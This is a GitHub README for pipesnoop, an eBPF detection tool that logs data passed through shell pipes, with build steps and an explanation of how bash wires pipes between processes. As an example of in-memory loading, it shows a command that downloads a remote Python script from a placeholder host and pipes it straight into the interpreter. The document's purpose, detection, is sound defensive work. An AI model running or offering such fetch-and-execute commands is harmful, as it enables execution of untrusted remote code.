Skip to content

Example program using eBPF to log data being based in using shell pipes

License

Notifications You must be signed in to change notification settings

pathtofile/bpf-pipesnoop

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

BPF-PipeSnoop

Example program using eBPF to log data being based in using shell pipes (|)

Accompanies my blog Using eBPF to uncover in-memory loading

Overview

Shells can parse data between programs using pipes, e.g.:

curl https://dodgy.com/loader.py | python -

In this example, a python script is downloaded from the internet and executed, without the file being written to disk, and its content is not visible on the commnandline.

pipesnoop is a demonstration of how you could detect when data is being passed using pipes and log it, all using eBPF.

Building

# First clone the repository and the libbpf submodule
git clone --recursive https://github.com/pathtofile/bpf-pipesnoop.git
cd bpf-pipesnoop/src
make

This should generate the program pipesnoop in the same directory.

Running

Just run as root and watch the output:

sudo ./pipesnoop

How it works

(Note experts will have better descripion than this) When bash is given a command to run multiple programs with a pipe in between, a number of things happen. If the example is:

bash -c "apple | banana"

Then this will happen:

Bash pipe

bash will use the syscall pipe to create an annonamous pipe. This returns two file descriptors, 1 for each end of the pip, e.g. fds 3 and 4.

Bash clone

bash will call clone twice to create apple and banana. Both programs inhearet all of bash's fds, so they also has fds 3 and 4. important note this means both apple and banana start running at (almost) the same time, i.e. banana does not wait for apple to finish before running.

Apple close and dup2

apple will close one end of the pipe e.g. 3, then call dup2 to overwrite its stdout or 1 fd with the non-closed end of the pipe, e.g. dup2(4, 1).

Banana close and dup2

banana will close the other end of the pipe, e.g. 4, then call dup2 to overwrite its stdin or 0 fd with the non-closed end of the pipe, e.g. dup2(3, 0).

Apple write

apple will start writing data to stdout like normal, but due to the dup2 call it ends up instead into the pipe.

Banana read

banana will start reading data from its stdin like normal, but due to the dup2 call it ends up instead reading from the pipe.

Pipe close

When apple closes, it will send an 'end of stream' down the pipe, so banana knows it has finished reading.

Aknowledgements

The skeleton of this project was made with the help of Libpf-Bootstrap.

About

Example program using eBPF to log data being based in using shell pipes

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages